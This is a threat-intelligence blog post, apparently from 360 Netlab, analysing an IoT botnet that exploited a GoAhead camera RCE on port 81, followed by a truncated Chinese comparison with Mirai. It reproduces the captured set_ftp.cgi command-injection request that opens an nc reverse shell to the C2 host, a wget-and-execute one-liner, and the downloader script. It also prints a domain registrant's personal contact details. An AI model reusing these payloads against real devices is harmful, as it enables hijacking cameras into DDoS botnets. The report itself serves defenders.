just for this botnet. <h3 id="botnetsizefromdnsperspective">Botnet Size from DNS perspective</h3> <p>Util now, based on the dns queries, the number of bots we see is 43,621 (the global number might be much higher), we only have DNS visibility in China, so our dns view is limited to the Chinese mainland. The specific geographical distribution is as follows:<br> <img src="__GHOST_URL__/content/images/2017/04/10_botnet_measurement_dns_china_perspective-1.png" alt="" loading="lazy"></p> <p>Daily active scanner number in mainland China varies between 2,700 and 9,500, as follows:</p> <p><img src="__GHOST_URL__/content/images/2017/04/06_daily_active_botnet_from_dns_perspective.png" alt="" loading="lazy"></p> <h3 id="anobservationaboutaparticularcanner2122324646">An observation about a Particular canner 212.232.46.46</h3> <p>Among all the bots hitting our honeypot, 212.232.46.46 somehow stands out, it was the first scanner hit our honeypot using this particular vulnerability , and after 5 quiet hours, all the massive scan started from various sources.</p> <p><img src="__GHOST_URL__/content/images/2017/04/14_a_special_scanner.png" alt="" loading="lazy"></p> <p>We are not sure why, but this might be something worthing looking.</p> <p><img src="__GHOST_URL__/content/images/2017/04/14_the_special_scanner_history.png" alt="" loading="lazy"></p> <h3 id="ioc">IoC</h3> <p>Samples</p> <div> <pre> cd20dcacf52cfe2b5c2a8950daf9220d wificam.sh 428111c22627e1d4ee87705251704422 mirai.arm 9584b6aec418a2af4efac24867a8c7ec mirai.arm5n 5ebeff1f005804bb8afef91095aac1d9 mirai.arm7 b2b129d84723d0ba2f803a546c8b19ae mirai.mips 2f6e964b3f63b13831314c28185bb51a mirai.mpsl </pre> </div> <p>C2 Servers</p> <div> <pre> ntp.gtpnet.ir load.gtpnet.ir </pre> </div><!--kg-card-end: markdown-->

Overview 360 Network Security Research Lab recently discovered a new botnet that is scanning the entire Internet on a large scale. Taking into account the following factors in the botnet, we decided to disclose our findings to the secure community: 1. Very active, we can now see ~ 50k live scanner IPs daily. 2. Malicious code identified, simple UDP DDoS attacks recorded. 3. Most security vendors fail to identify the malicious code (7/55 on virustotal) 4. This botnet borrows partial code such as port scanning module from the Mirai, but it is completely different from mirai in terms of infect chain, C2 communication protocol, attack module and so on. Although the binary names have mirai mentioned it is probably not wise to treat it just as a mirai variant We sort out the botnet discovery process, communication techniques, behavioral characteristics, a brief analysis of the botnet attacks, and in accordance with the timeline to organize the blog as follows: 1. GoAhead and multiple camera RCE vulnerabilities 2. The attacker exploited the vulnerability 3. The scan started 4. From scan to sample 5. C2 historical changes backtracking 6. Botnet size from DNS perspective 7. An observation about a particular scanner 212.232.46.46 8. IoC GoAhead and Multiple Camera RCE 0Day Vulnerabilities Researcher Pierre Kim (@PierreKimSec) released a vulnerability analysis report on GoAhead and other OEM cameras on 2017-03-08. In terms of equipment manufacturers attribution, the original author pointed out that the equipment OEM manufacturers involved more than 1,250 different camera manufacturers, models; About the number of potential infection equipment, the researcher used Shodan to estimate that more than 185,000 devices have potential problems. The original article links as follows: https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html In the original article, the researcher pointed out that GoAhead camera has a number of problems, including: * By providing blank loginuse and loginpas to bypass the authentication session and download the device's .ini files * By set_ftp.cgi injection to obtain root privileges, and provide remote root Shell on the device The original author points out that attacker can gain root access on the impacted devices without any device login by utilizing the above two vulnerabilities, and he also provided a PoC. The Attacker Exploited the Vulnerability It only took a little bit more than a month for the attacker to exploit the vulnerability after the original PoC announcement, on 2017-04-16 we have noticed the scan activity. The payload we captured has the following characteristics: 1. scan port changed from 80 to  81 2. The syn scan process is borrowed from Mirai 3. Scan process also verifies the existence of the login.cgi page so the victims can be further screened. 4. The previously mentioned goahead 0-day 4.vulnerability is used to deliver payload 5. We have not confirmed but there is reason to suspect that after a successful infection on the device, the exploit blocks the payload delivery channel The scan started We first noticed this event from our real-time port scan monitoring system: http://scan.netlab.360.com/#/dashboard?tsbeg=1490457600000&tsend=1493049600000&dstport=81&toplistname=srcip&topn=30&sortby=sum Figure 1 port 81 scan big jump since 2017-04-16 From the figure we can see, 2017-04-16 is the day when the scan really was started. Compare 2017-04-15 with one day after, the number of scanning sessions increased to 400% to 700%, the number of unique scanner had 4000% to 6000% increments. On 2017-04-22, the number of unique scan source had passed over 57,000，which is a fairly big number. Figure 2 detailed volume compare From scan to sample Payload After noticing the scan behavior, we started to look into our various systems. Our honeypot captured the following samples. It worth noting that, although the names of the samples contain the mirai word, the way they work has some major difference, and we think it should be treated as a new threat. cd20dcacf52cfe2b5c2a8950daf9220d wificam.sh 428111c22627e1d4ee87705251704422 mirai.arm 9584b6aec418a2af4efac24867a8c7ec mirai.arm5n 5ebeff1f005804bb8afef91095aac1d9 mirai.arm7 b2b129d84723d0ba2f803a546c8b19ae mirai.mips 2f6e964b3f63b13831314c28185bb51a mirai.mpsl The file information for the samples is as follows: * mirai.arm: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped * mirai.arm5n: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped * mirai.arm7: ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped * mirai.mips: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped * mirai.mpsl: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped * wificam.sh: ASCII text The delivery of the payload The payload is delivered after a successful port 81 scan and verification process. 1. The exploit, on the basis of the above PoC, injects an order to force the victim device to initiate a nc connection to load.gtpnet.ir:1234 2. Victim downloads and executes the script hxxp: //ntp.gtpnet.ir/wificam.sh, and then continue to download all the samples named mirai.arm / mirai.arm5n / mirai.arm7 / mirai.mips / mirai.mpsl from hxxp://Ntp.gtpnet.ir 3. These samples will be further executed and make connection with the control server, and that is the end of the infection phase, and the device is ready to launch attack. The codes are as follow 1. The injections GET login.cgi HTTP/1.1 GET /set_ftp.cgi?loginuse=admin&loginpas=admin&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=%24%28nc+load.gtpnet.ir+1234+-e+%2Fbin%2Fsh%29 HTTP/1.1 GET /ftptest.cgi?loginuse=admin&loginpas=admin HTTP/1.1 This payload is contained in the sef_ftp.cgi URI, which decodes to nc load.gtpnet.ir 1234 -e bin/sh The victim is therefore forced to initiate a nc connection to the attacker's server and downloads wificam.sh 2. wificam.sh downloaded to victim $ nc load.gtpnet.ir 1234` busybox nohup sh -c "wget http://ntp.gtpnet.ir/wificam.sh -O /tmp/a.sh ;chmod +x /tmp/a.sh ;/tmp/a.sh" > /dev/null 2>&1 &` wificam.sh instructs to further download more new sample files $ cat wificam.sh wget hxxp://ntp.gtpnet.ir/mirai.arm -O /tmp/arm.bin wget hxxp://ntp.gtpnet.ir/mirai.arm5n -O /tmp/arm5.bin wget hxxp://ntp.gtpnet.ir/mirai.arm7 -O /tmp/arm7.bin wget hxxp://ntp.gtpnet.ir/mirai.mips -O /tmp/mips.bin wget hxxp://ntp.gtpnet.ir/mirai.mpsl -O /tmp/mpsl.bin chmod +x /tmp/arm.bin chmod +x /tmp/arm5.bin chmod +x /tmp/arm7.bin chmod +x /tmp/mips.bin chmod +x /tmp/mpsl.bin killall *.bin killall arm killall arm5 killall arm7 killall mips killall mpsl killall hal /tmp/arm.bin /tmp/arm5.bin /tmp/arm7.bin /tmp/mips.bin /tmp/mpsl.bin rm -rf /tmp/*.bin Data points Our different monitoring systems all successfully picked up this activity Our Scanmon indicates that the spike first seen is around 2017-04-16 03:00:00. The viewpoint from our pDNS system, the first C2 resolve spike occurred around 2017-04-16 03:00:00 From our honeypots, the samples came in also around 2017-04-16 03:00:00 (excluding one specific source 212.232.46.46, which we will discuss later). Sample analysis Reverse engineering the sample is more time-consuming and is still a working in progress, we may release further analysis later on. At this stage, we can discuss a little bit about the samples' network behaviors: 1. Sample vs C2 communcations 2. Sample vs a simple UDP DDoS attack 3. Sample vs mirai 4. Sample vs IoT Sample vs C2 communcations The samples will communicate with load.gtpnet.ir/ntp.gtpnet.ir both in the infection phase and in the attack phase. Sample vs a simple UDP DDoS attack The sample contains DDoS attack module. We observed the sample in the sandbox launched a DDoS attack against 185.63.190.95 around 2017-04-23 21:45:00 , it is worth noting that this attack was also detected by our DDoSmon.net platform https://ddosmon.net/explore/185.63.190.95 Further analysis of the UDP attack: * From DDoSMon , the attack was mainly targeted the victim on its port UDP 53/123/656, the size of the package are mainly 125/139 * From the Pcap analysis of the sandbox, the attack goes to UDP ports 53/123, and the packet sizes match the DDosMon.net data In addition, from the sandbox Pcap, we can see the attack packet uses real IP address, also the payload is populated with the SSDP (UDP 1900) data. Simple UDP 53 DDoS with a SSDP1900 padding Simple UDP 123 DDoS with a SSDP1900 padding Sample vs mirai Overall, we think this is a new family, not a variant ot mirai family. The difference between these samples and mirai includes: * Infection phase: no more brute-force on port 23/2323 port. Instead a port 81 GoAhead RCE vulnerability exploit * C2 communication protocol: completely different from mirai * Attack module: completely different from mirai; Mirai does not attack on UDP port 53/123/656. and the unique Mirai GRE / STOMP attack is no where to be seen in these samples The sample also have something in common with mirai: * Infection phase: the use of some sort of unique (but well known in the security community) syn scan to speed up the process of port scanning. However, today this technique is no longer a mirai unique feature   * File name: the word mirai in file names   * Code reuse: partial mirai code borrowed Sample vs IoT IoT devices are the target of this threat, although there are 1200+ potential kinds of equipment. We successfully used our DNS data to pinpointed major victims. We have developed a machine leaning based tool we called d2v that can be handy to line up associated domain names. In this case, D2v helps us find following domains names associate to ntp.gtpnet.ir when the spike occurred: s3.vstarcam.com s2.eye4.cn ntp.gtpnet.ir api.vanelife.com load.gtpnet.ir ntp2.eye4.cn push.eye4.cn push.eyecloud.so ntp.eye4.cn m2m.vanelife.com` These domains' website titles are as follows: C2 historical changes backtracking Domain DNS History Record Analysis The DNS historical records of the two domain is as follows As we can see: 1. load.gtpnet.ir only uses one ip 185.45.192.168, while   2. ntp.gtpnet.ir IP changes a few times, and   3. ntp.gtpnet.ir seems to have some service instability, which was also observed from our sandbox Domain ntp.gtpnet.ir 's IP instability may be explained by the following fact(s): * We can see from the reverse engineering, the former domain only responsible for delivering the initial downloader, so the load is relatively light; while the latter domain is responsible not only for delivering wificam.sh and five elf samples, but also bear the responsibility for communication with all the bot, so the load is much more heavier than the former   * The whole botnet is quite big, the server might have to talk to tens of thousands of bot at the same time. Domain Registration Analysis Here is the domain's registration information : domain: gtpnet.ir ascii: gtpnet.ir remarks: (Domain Holder) javad fooladdadi remarks: (Domain Holder Address) Imarat hashtom, apartemanhaye emarat hashtom, golbahar, khorasan razavi, IR holder-c: jf280-irnic admin-c: jf280-irnic tech-c: mk3389-irnic nserver: etta.ns.cloudflare.com nserver: dom.ns.cloudflare.com last-updated: 2017-04-19 expire-date: 2018-04-06 source: IRNIC # Filtered nic-hdl: jf280-irnic person: javad fooladdadi org: personal e-mail: [email protected] address: Imarat hashtom, apartemanhaye emarat hashtom, golbahar, khorasan razavi, IR phone: +989155408348 fax-no: +989155408348 source: IRNIC # Filtered nic-hdl: mk3389-irnic person: Morteza Khayati e-mail: [email protected] source: IRNIC # Filtered The domain’s expiry date is 2018-04-06, we can safely assume the domain’s registration date is 2017-04-06, which happened after the PoC and before the scanning spike. So it is pretty clear, this domain is setup just for this botnet. Botnet Size from DNS perspective Util now, based on the dns queries, the number of bots we see is 43,621 (the global number might be much higher), we only have DNS visibility in China, so our dns view is limited to the Chinese mainland. The specific geographical distribution is as follows: Daily active scanner number in mainland China varies between 2,700 and 9,500, as follows: An observation about a Particular canner 212.232.46.46 Among all the bots hitting our honeypot, 212.232.46.46 somehow stands out, it was the first scanner hit our honeypot using this particular vulnerability , and after 5 quiet hours, all the massive scan started from various sources. We are not sure why, but this might be something worthing looking. IoC Samples cd20dcacf52cfe2b5c2a8950daf9220d wificam.sh 428111c22627e1d4ee87705251704422 mirai.arm 9584b6aec418a2af4efac24867a8c7ec mirai.arm5n 5ebeff1f005804bb8afef91095aac1d9 mirai.arm7 b2b129d84723d0ba2f803a546c8b19ae mirai.mips 2f6e964b3f63b13831314c28185bb51a mirai.mpsl C2 Servers ntp.gtpnet.ir load.gtpnet.ir

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"###Overview\n360 Network Security Research Lab recently discovered a new botnet that is scanning the entire Internet on a large scale. Taking into account the following factors in the botnet, we decided to disclose our findings to the secure community:\n\n1. Very active, we can now see ~ 50k live scanner IPs daily.\n2. Malicious code identified, simple UDP DDoS attacks recorded.\n3. Most security vendors fail to identify the malicious code (7/55 on virustotal)\n4. This botnet borrows partial code such as port scanning module from the Mirai, but it is completely different from mirai in terms of infect chain, C2 communication protocol, attack module and so on. Although the binary names have mirai mentioned it is probably not wise to treat it just as a mirai variant\n\nWe sort out the botnet discovery process, communication techniques, behavioral characteristics, a brief analysis of the botnet attacks, and in accordance with the timeline to organize the blog as follows:\n\n1. GoAhead and multiple camera RCE vulnerabilities\n2. The attacker exploited the vulnerability\n3. The scan started\n4. From scan to sample\n5. C2 historical changes backtracking\n6. Botnet size from DNS perspective \n7. An observation about a particular scanner 212.232.46.46\n8. IoC\n\n###GoAhead and Multiple Camera RCE 0Day Vulnerabilities\nResearcher Pierre Kim (@PierreKimSec) released a vulnerability analysis report on GoAhead and other OEM cameras on 2017-03-08. In terms of equipment manufacturers attribution, the original author pointed out that the equipment OEM manufacturers involved more than 1,250 different camera manufacturers, models; About the number of potential infection equipment, the researcher used Shodan to estimate that more than 185,000 devices have potential problems. The original article links as follows:\n\nhttps://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html\n\nIn the original article, the researcher pointed out that GoAhead camera has a number of problems, including:\n\n * By providing blank loginuse and loginpas to bypass the authentication session and download the device's `.ini` files\n * By `set_ftp.cgi` injection to obtain root privileges, and provide remote root Shell on the device \n\nThe original author points out that attacker can gain root access on the impacted devices without any device login by utilizing the above two vulnerabilities, and he also provided a PoC.\n\n###The Attacker Exploited the Vulnerability\nIt only took a little bit more than a month for the attacker to exploit the vulnerability after the original PoC announcement, on 2017-04-16 we have noticed the scan activity. \n\nThe payload we captured has the following characteristics:\n\n 1. scan port changed from 80 to  `81`\n 2. The `syn scan` process is borrowed from Mirai\n 3. Scan process also verifies the existence of the `login.cgi` page so the victims can be further screened.\n 4. The previously mentioned `goahead 0-day` 4.vulnerability is used to deliver payload\n 5. We have not confirmed but there is reason to suspect that after a successful infection on the device, the exploit blocks the payload delivery channel\n\n###The scan started\n\nWe first noticed this event from our real-time port scan monitoring system:\n\nhttp://scan.netlab.360.com/#/dashboard?tsbeg=1490457600000&tsend=1493049600000&dstport=81&toplistname=srcip&topn=30&sortby=sum \n\n\nFigure 1 port 81 scan big jump since 2017-04-16\n\nFrom the figure we can see, `2017-04-16` is the day when the scan really was started. Compare 2017-04-15 with one day after, the number of scanning sessions increased to 400% to 700%, the number of unique scanner had 4000% to 6000% increments. On 2017-04-22, the number of unique scan source had passed over `57,000`，which is a fairly big number.\n\nFigure 2 detailed volume compare\n\n\n###From scan to sample\n\n######Payload\nAfter noticing the scan behavior, we started to look into our various systems. Our honeypot captured the following samples. It worth noting that, although the names of the samples contain the mirai word, the way they work has some major difference, and we think it should be treated as a new threat.\n\n cd20dcacf52cfe2b5c2a8950daf9220d wificam.sh\n 428111c22627e1d4ee87705251704422 mirai.arm\n 9584b6aec418a2af4efac24867a8c7ec mirai.arm5n\n 5ebeff1f005804bb8afef91095aac1d9 mirai.arm7\n b2b129d84723d0ba2f803a546c8b19ae mirai.mips\n 2f6e964b3f63b13831314c28185bb51a mirai.mpsl\n\nThe file information for the samples is as follows:\n\n * mirai.arm: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped\n * mirai.arm5n: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped\n * mirai.arm7: ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped\n\n * mirai.mips: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped\n * mirai.mpsl: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped\n * wificam.sh: ASCII text\n\n\n######The delivery of the payload\n\nThe payload is delivered after a successful port 81 scan and verification process.\n\n1. The exploit, on the basis of the above PoC, injects an order to force the victim device to initiate a nc connection to `load.gtpnet.ir:1234`\n2. Victim downloads and executes the script hxxp: //ntp.gtpnet.ir/wificam.sh, and then continue to download all the samples named mirai.arm / mirai.arm5n / mirai.arm7 / mirai.mips / mirai.mpsl from hxxp://Ntp.gtpnet.ir\n3. These samples will be further executed and make connection with the control server, and that is the end of the infection phase, and the device is ready to launch attack.\n\nThe codes are as follow\n\n1. The injections\n<div>\n<pre>\nGET login.cgi HTTP/1.1\n</pre>\n<pre>\nGET /set_ftp.cgi?loginuse=admin&loginpas=admin&next_url=ftp.htm&port=21&user=ftp&pwd=ftp&dir=/&mode=PORT&upload_interval=0&svr=%24%28nc+load.gtpnet.ir+1234+-e+%2Fbin%2Fsh%29 HTTP/1.1\n</pre>\n<pre>\nGET /ftptest.cgi?loginuse=admin&loginpas=admin HTTP/1.1\n</pre>\n</div>\n\nThis payload is contained in the `sef_ftp.cgi` URI, which decodes to\n\n `nc load.gtpnet.ir 1234 -e bin/sh`\n\nThe victim is therefore forced to initiate a nc connection to the attacker's server and downloads wificam.sh\n\n2. wificam.sh downloaded to victim\n<div>\n<pre>\n$ nc load.gtpnet.ir 1234`\n</pre>\n<pre>\nbusybox nohup sh -c \"wget http://ntp.gtpnet.ir/wificam.sh -O /tmp/a.sh ;chmod +x /tmp/a.sh ;/tmp/a.sh\" > /dev/null 2>&1 &`\n</pre>\n</div>\n\n wificam.sh instructs to further download more new sample files\n\n`$ cat wificam.sh`\n\n<div>\n<pre>\nwget hxxp://ntp.gtpnet.ir/mirai.arm -O /tmp/arm.bin\nwget hxxp://ntp.gtpnet.ir/mirai.arm5n -O /tmp/arm5.bin\nwget hxxp://ntp.gtpnet.ir/mirai.arm7 -O /tmp/arm7.bin\nwget hxxp://ntp.gtpnet.ir/mirai.mips -O /tmp/mips.bin\nwget hxxp://ntp.gtpnet.ir/mirai.mpsl -O /tmp/mpsl.bin\n</pre>\n<pre>\nchmod +x /tmp/arm.bin\nchmod +x /tmp/arm5.bin\nchmod +x /tmp/arm7.bin\nchmod +x /tmp/mips.bin\nchmod +x /tmp/mpsl.bin\n</pre>\n<pre>\nkillall *.bin\nkillall arm\nkillall arm5\nkillall arm7\nkillall mips\nkillall mpsl\nkillall hal\n</pre>\n<pre>\n/tmp/arm.bin\n/tmp/arm5.bin\n/tmp/arm7.bin\n/tmp/mips.bin\n/tmp/mpsl.bin\nrm -rf /tmp/*.bin\n</pre>\n</div>\n\n######Data points\n\nOur different monitoring systems all successfully picked up this activity\n\n\nOur Scanmon indicates that the spike first seen is around 2017-04-16 03:00:00.\n\n\nThe viewpoint from our pDNS system, the first C2 resolve spike occurred around 2017-04-16 03:00:00\n\n\nFrom our honeypots, the samples came in also around 2017-04-16 03:00:00 (excluding one specific source 212.232.46.46, which we will discuss later).\n\n\n###Sample analysis\n\nReverse engineering the sample is more time-consuming and is still a working in progress, we may release further analysis later on. At this stage, we can discuss a little bit about the samples' network behaviors:\n\n1. Sample vs C2 communcations\n2. Sample vs a simple UDP DDoS attack\n3. Sample vs mirai\n4. Sample vs IoT \n\n#####Sample vs C2 communcations\n\n\nThe samples will communicate with load.gtpnet.ir/ntp.gtpnet.ir both in the infection phase and in the attack phase.\n\n#####Sample vs a simple UDP DDoS attack\n\nThe sample contains DDoS attack module. We **observed** the sample in the sandbox launched a DDoS attack against **185.63.190.95** around **2017-04-23 21:45:00**\n, it is worth noting that this attack was also detected by our **DDoSmon.net** platform\nhttps://ddosmon.net/explore/185.63.190.95\n\n\n\nFurther analysis of the UDP attack:\n\n* From DDoSMon , the attack was mainly targeted the victim on its port UDP 53/123/656, the size of the package are mainly 125/139\n* From the Pcap analysis of the sandbox, the attack goes to UDP ports 53/123, and the packet sizes match the DDosMon.net data\n\nIn addition, from the sandbox Pcap, we can see the attack packet uses real IP address, also the payload is populated with the SSDP (UDP 1900) data.\n\n\n\nSimple UDP 53 DDoS with a SSDP1900 padding\n\n\n\nSimple UDP 123 DDoS with a SSDP1900 padding\n\n#####Sample vs mirai\nOverall, we think this is a new family, not a variant ot mirai family.\n\nThe difference between these samples and mirai includes:\n\n* Infection phase: no more brute-force on port 23/2323 port. Instead a port 81 GoAhead RCE vulnerability exploit\n* C2 communication protocol: completely different from mirai\n* Attack module: completely different from mirai; Mirai does not attack on UDP port 53/123/656. and the unique Mirai GRE / STOMP attack is no where to be seen in these samples\n\nThe sample also have something in common with mirai:\n\n  * Infection phase: the use of some sort of unique (but well known in the security community) syn scan to speed up the process of port scanning. However, today this technique is no longer a mirai unique feature\n  * File name: the word mirai in file names\n  * Code reuse: partial mirai code borrowed\n\n\n\n\n#####Sample vs IoT\n\nIoT devices are the target of this threat, although there are 1200+ potential kinds of equipment. We successfully used our DNS data to pinpointed major victims.\n\nWe have developed a machine leaning based tool we called d2v that can be handy to line up associated domain names. In this case, D2v helps us find following domains names associate to ntp.gtpnet.ir when the spike occurred:\n\n<div>\n<pre>\ns3.vstarcam.com\ns2.eye4.cn\nntp.gtpnet.ir\napi.vanelife.com\nload.gtpnet.ir\nntp2.eye4.cn\npush.eye4.cn\npush.eyecloud.so\nntp.eye4.cn\nm2m.vanelife.com`\n</pre>\n</div>\n\nThese domains' website titles are as follows:\n\n\n\n\n###C2 historical changes backtracking\n\n\n#####Domain DNS History Record Analysis\n\nThe DNS historical records of the two domain is as follows\n\n\nAs we can see:\n\n 1. load.gtpnet.ir only uses one ip 185.45.192.168, while\n  2. ntp.gtpnet.ir IP changes a few times, and \n  3. ntp.gtpnet.ir seems to have some service instability, which was also observed from our sandbox\n\nDomain ntp.gtpnet.ir 's IP instability may be explained by the following fact(s):\n\n  * We can see from the reverse engineering, the former domain only responsible for delivering the initial downloader, so the load is relatively light; while the latter domain is responsible not only for delivering wificam.sh and five elf samples, but also bear the responsibility for communication with all the bot, so the load is much more heavier than the former\n  * The whole botnet is quite big, the server might have to talk to tens of thousands of bot at the same time.\n\n\n#####Domain Registration Analysis\n\nHere is the domain's registration information :\n\n<div>\n<pre>\ndomain:\t\tgtpnet.ir\nascii:\t\tgtpnet.ir\nremarks:\t(Domain Holder) javad fooladdadi\nremarks:\t(Domain Holder Address) Imarat hashtom, apartemanhaye emarat hashtom, golbahar, khorasan razavi, IR\nholder-c:\tjf280-irnic\nadmin-c:\tjf280-irnic\ntech-c:\t\tmk3389-irnic\nnserver:\tetta.ns.cloudflare.com\nnserver:\tdom.ns.cloudflare.com\nlast-updated:\t2017-04-19\nexpire-date:\t<b>2018-04-06</b>\nsource:\t\tIRNIC # Filtered\n\nnic-hdl:\tjf280-irnic\nperson:\t\tjavad fooladdadi\norg:\t\tpersonal\ne-mail:\t\t<b>[email protected]</b>\naddress:\tImarat hashtom, apartemanhaye emarat hashtom, golbahar, khorasan razavi, IR\nphone:\t\t+989155408348\nfax-no:\t\t+989155408348\nsource:\t\tIRNIC # Filtered\n\nnic-hdl:\tmk3389-irnic\nperson:\t\tMorteza Khayati\ne-mail:\t\t<b>[email protected]</b>\nsource:\t\tIRNIC # Filtered\n\n</pre>\n</div>\nThe domain’s expiry date is 2018-04-06, we can safely assume the domain’s registration date is 2017-04-06, which happened after the PoC and before the scanning spike. So it is pretty clear, this domain is setup just for this botnet.\n\n\n### Botnet Size from DNS perspective \nUtil now, based on the dns queries, the number of bots we see is 43,621 (the global number might be much higher), we only have DNS visibility in China, so our dns view is limited to the Chinese mainland. The specific geographical distribution is as follows:\n\n\nDaily active scanner number in mainland China varies between 2,700 and 9,500, as follows:\n\n\n\n\n\n###An observation about a Particular canner 212.232.46.46\nAmong all the bots hitting our honeypot, 212.232.46.46 somehow stands out, it was the first scanner hit our honeypot using this particular vulnerability , and after 5 quiet hours, all the massive scan started from various sources.\n\n\n\n\nWe are not sure why, but this might be something worthing looking. \n\n\n\n### IoC\nSamples\n\n<div>\n<pre>\ncd20dcacf52cfe2b5c2a8950daf9220d wificam.sh\n428111c22627e1d4ee87705251704422 mirai.arm\n9584b6aec418a2af4efac24867a8c7ec mirai.arm5n\n5ebeff1f005804bb8afef91095aac1d9 mirai.arm7\nb2b129d84723d0ba2f803a546c8b19ae mirai.mips\n2f6e964b3f63b13831314c28185bb51a mirai.mpsl\n</pre>\n</div>\n\nC2 Servers\n\n<div>\n<pre>\nntp.gtpnet.ir\nload.gtpnet.ir\n</pre>\n</div>"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

50

post

2017-04-27T05:57:57.000Z

63873b9a8b1c1e0007f52ef7

the_difference_between_http81_botnet_and_mirai

2018-10-06T09:02:07.000Z

public

published

2017-04-28T04:50:21.000Z

比较“81端口的botnet”和 MIRAI 之间的联系

<!--kg-card-begin: markdown--><h1 id="">概述</h1> <p>从 &quot;<a href="__GHOST_URL__/a-new-threat-an-iot-botnet-scanning-internet-on-port-81-ch/">81 端口的异常流量</a>&quot;中，我们发现了一个新的僵尸网络家族，它和 MRIAI 存在一定的联系，本文将介绍一些对比结果，同时介绍一下我们从这个 botnet 中发现的一种依赖SSDP协议的感染机制。</p> <p>****注：*<em>如无特殊声明，MIRAI的分析将以github源码为基础；新botnet 将以其中的9584B6AEC418A2AF4EFAC24867A8C7EC样本的逆向结果为基础。</em></p> <h1 id="">相同点</h1> <h2 id="">相同的扫描方案</h2> <p>众所周知，MIRAI在传播过程中用到了SYN端口探测的技巧，来提高传播效率。新Botnet 也使用了该技巧并将其用在了81端口扫描中。随着研究的深入我们发现它和MIRAI有着相同的扫描规则。<br> 在 MIRAI 中，被扫描IP是通过一系列随机函数生成的，但他有个黑名单机制，用于跳过一些IP地址范围（代码来自scanner.c），相关截图如下：</p> <p><img src="__GHOST_URL__/content/images/2017/04/1_SYN_SCAN_BLACK_IP_ADDRESS.png" alt="" loading="lazy"></p> <p>而在我们发现的 新Botnet 中（截图选自sub_A7C4函数），也有完全相同的黑名单机制（上下两图红框中是三行比对样例，实际上整个 while 循环体都是完全一致的）。</p> <p><img src="__GHOST_URL__/content/images/2017/04/2_SYN_SCANN_BLACK_LIST.jpg" alt="" loading="lazy"></p> <h2 id="util">部分util函数同源</h2> <p>当我们将 新Botnet 和 MIRAI 进行汇编指令级别对比时，可以很清晰的发现，它们之间的少部分函数具有高度的一致性。</p> <p><img src="__GHOST_URL__/content/images/2017/04/table_Function_Name_From_MIRAI-3.jpg" alt="" loading="lazy"></p> <h1 id="">不同点</h1> <h2 id="c2">配置C2的区别</h2> <p>在公开的 MIRAI 源码中，用了 一个异或加密算法 来保护 C2 域名，并将 C2 以密文形式编码在原始代码之中，相关代码可参考 table.c 的 table_init 函数，其截图如下：</p> <p><img src="__GHOST_URL__/content/images/2017/04/3_C2_Config_Of_MIRAI.png" alt="" loading="lazy"></p> <p>而在 该 Botnet 中，却是直接的明文字符串编码，相关截图如下：</p> <p><img src="__GHOST_URL__/content/images/2017/04/4_C2_Config_Of_Persirai.png" alt="" loading="lazy"></p> <p>值得一提的是，域名 <code>ntp.gtpnet.ir</code> 现阶段的解析目标为一个内网地址。<br> 在此种情况下，攻击者是无法对僵尸网络进行正常控制的，且解析方式也不同于BlackHole（即域名的控制权仍然掌握在管理者手中）。<br> 我们推测产生这种状态的原因有两种可能：</p> <ol> <li>管理者发现僵尸网络暴露了，切断了解析以防被追踪。</li> <li>管理者正在进行新版本的研发和测试，而网络上有大量的被控端，它们会对测试造成干扰，把解析目标设置到自己可控的内网地址后，可以很方便的排除干扰。</li> </ol> <h2 id="">传播方式的区别</h2> <p>在所有公开的 MIRAI 源码中，只有弱口令扫描一种传播方式，在 MIRAI 的已知变种中，出现过利用7547/5555/6789/37777等端口传播的情况，关于 MIRAI 更多的跟踪细节可以参考 <a href="http://data.netlab.360.com/mirai-scanner/">Mirai Scanner主页</a>。</p> <p>而 81 端口却从未发现过传播的 MIRAI 的先例，这是 新Botnet 独有的传播方式，“<a href="__GHOST_URL__/a-new-threat-an-iot-botnet-scanning-internet-on-port-81-ch/">新威胁报告：一个新IoT僵尸网络正在 HTTP 81上大范围传播</a>” 记录了和其有关的更多内容。</p> <h2 id="">通讯协议的区别</h2> <p>MIRAI 的通讯协议可以从 attack.c 文件的 attack_parse 函数获取到。</p> <p>而在 新Botnet 中却采取了一套全新的指令系统，相关内容可以用下表来表示：<br> <img src="__GHOST_URL__/content/images/2017/04/table_command_parse_Persirai-1.jpg" alt="" loading="lazy"></p> <h2 id="">攻击向量的区别</h2> <p>在原版 MIRAI 中，拥有包括 GRE 攻击在内的 10 种 ddos 攻击向量可供选择，相关证据可以参考 attack.h 文件中的相关定义，下面是一张截图证明：</p> <p><img src="__GHOST_URL__/content/images/2017/04/5_DDOS_attack_Vector_In_MIRAI.jpg" alt="" loading="lazy"></p> <p>而在 新Botnet 中，只存在两种 UDP-flood 攻击向量，可供选择，具体证据可参阅“通讯协议的区别”章节提供的表格。</p> <h1 id="botnet">更多关于 新Botnet 的细节</h1> <h2 id="81">除 81 端口外还存在其他传播方案</h2> <p>虽然 新Botnet 是从 81 端口上被披露出来的，但其内部还包含有一个备份的传播方案，它似乎还没有被使用过。</p> <p><code>00 04 02</code> 是该传播方案对应的指令码。这是一个基于 “SSDP协议+UPnP实现漏洞利用” 的传播方案，传播将基于 1900 端口。其发送的第一个探测包内容如下：</p> <div> <pre> M-SEARCH * HTTP/1.1 HOST:239.255.255.250:1900 ST:upnp:rootdevice MAN:"ssdp:discover" MX:3 </pre> <div> <p>这是 SSDP 协议的第一个请求包（函数地址 <code>0x0000A918</code>），当目标可以处理 SSDP 时，则进入 SSDP 交互逻辑，进而获得更多的智能设备信息及相应控制方法，当发现潜在 CVE-2014-8361 漏洞（Realtek SDK Miniigd UPnP SOAP 